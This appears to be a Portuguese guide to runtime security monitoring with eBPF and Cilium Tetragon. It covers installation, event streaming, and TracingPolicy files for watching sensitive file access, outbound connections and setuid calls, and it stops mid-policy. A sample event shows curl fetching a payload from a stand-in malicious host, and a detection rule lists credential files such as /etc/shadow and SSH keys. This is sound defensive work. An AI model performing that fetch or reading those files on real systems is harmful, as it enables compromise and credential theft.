Implementando Monitoramento de Segurança com eBPF

Quando Usar

• Ao implantar monitoramento de segurança em tempo de execução no nível do kernel em hosts Linux ou clusters Kubernetes
• Quando você precisa de visibilidade em sub-milissegundos sobre execução de processos, conexões de rede e acesso a arquivos
• Quando ferramentas de monitoramento tradicionais no espaço do usuário introduzem sobrecarga de desempenho inaceitável
• Ao construir pipelines de detecção que exigem filtragem no kernel antes que os eventos cheguem ao espaço do usuário
• Ao impor políticas de segurança em tempo de execução (matar processo, enviar sinal) no nível do kernel

Pré-requisitos

• Kernel Linux 5.3+ com suporte a BTF (BPF Type Format) habilitado
• Cluster Kubernetes 1.24+ (para implantação em Kubernetes) ou host Linux independente
• Helm 3.x instalado (para implantação em Kubernetes)
• kubectl configurado com acesso ao cluster
• CLI tetra instalada para streaming de eventos local
• Python 3.8+ com dependências requests, kubernetes, pyyaml
• Capacidades de root ou CAP_BPF/CAP_SYS_ADMIN para carregamento de programas eBPF

Instruções

1. Instalar Tetragon no Kubernetes

Implante o Tetragon via Helm para obter observabilidade padrão do ciclo de vida do processo:

helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon -n kube-system \
  --set tetragon.enableProcessCred=true \
  --set tetragon.enableProcessNs=true

Verifique a instalação:

kubectl get pods -n kube-system -l app.kubernetes.io/name=tetragon
kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout -f | head -20

2. Instalar Tetragon em Linux Independente

Para hosts Linux que não são Kubernetes, instale a partir do release em tarball:

curl -LO https://github.com/cilium/tetragon/releases/latest/download/tetragon-linux-amd64.tar.gz
tar xzf tetragon-linux-amd64.tar.gz
sudo cp tetragon /usr/local/bin/
sudo cp tetra /usr/local/bin/

# Start tetragon daemon
sudo tetragon --btf /sys/kernel/btf/vmlinux &

# Stream events
tetra getevents -o compact

3. Monitorar Execução de Processos (Padrão)

O Tetragon gera eventos process_exec e process_exit por padrão, sem nenhuma TracingPolicy:

# Stream process events in compact format
tetra getevents -o compact

# Stream in JSON for SIEM ingestion
tetra getevents -o json | jq '.process_exec // .process_exit'

Exemplo de evento JSON process_exec:

{
  "process_exec": {
    "process": {
      "binary": "/usr/bin/curl",
      "arguments": "https://malicious.example.com/payload",
      "cwd": "/tmp",
      "uid": 1000,
      "pod": {
        "namespace": "default",
        "name": "webapp-7b4d9f8c6-x2k9p"
      },
      "parent": {
        "binary": "/bin/bash",
        "pid": 1234
      }
    }
  }
}

4. Criar TracingPolicy para Monitoramento de Acesso a Arquivos

Crie um CRD TracingPolicy para monitorar o acesso a arquivos sensíveis através do kprobe sys_openat:

# file-access-monitor.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-sensitive-file-access
spec:
  kprobes:
    - call: "fd_install"
      syscall: false
      args:
        - index: 0
          type: "int"
        - index: 1
          type: "file"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Prefix"
              values:
                - "/etc/shadow"
                - "/etc/passwd"
                - "/etc/sudoers"
                - "/root/.ssh/"
                - "/etc/kubernetes/pki/"
          matchActions:
            - action: Post

Aplique e observe:

kubectl apply -f file-access-monitor.yaml
tetra getevents -o compact --process-filter "event_set:PROCESS_KPROBE"

5. Criar TracingPolicy para Monitoramento de Conexões de Rede

Monitore conexões TCP de saída usando o kprobe tcp_connect:

# network-monitor.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-tcp-connections
spec:
  kprobes:
    - call: "tcp_connect"
      syscall: false
      args:
        - index: 0
          type: "sock"
      selectors:
        - matchActions:
            - action: Post

6. Criar TracingPolicy para Detecção de Escalação de Privilégios

Detecte chamadas setuid/setgid que podem indicar escalação de privilégios:

# privilege-escalation-detect.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: detect-privilege-escalation
spec:
  kprobes:
    - call: "__sys_setuid"
      syscall: false
      args:
        - index: 0
          type: "int"
      selectors:
        - matchArgs:

…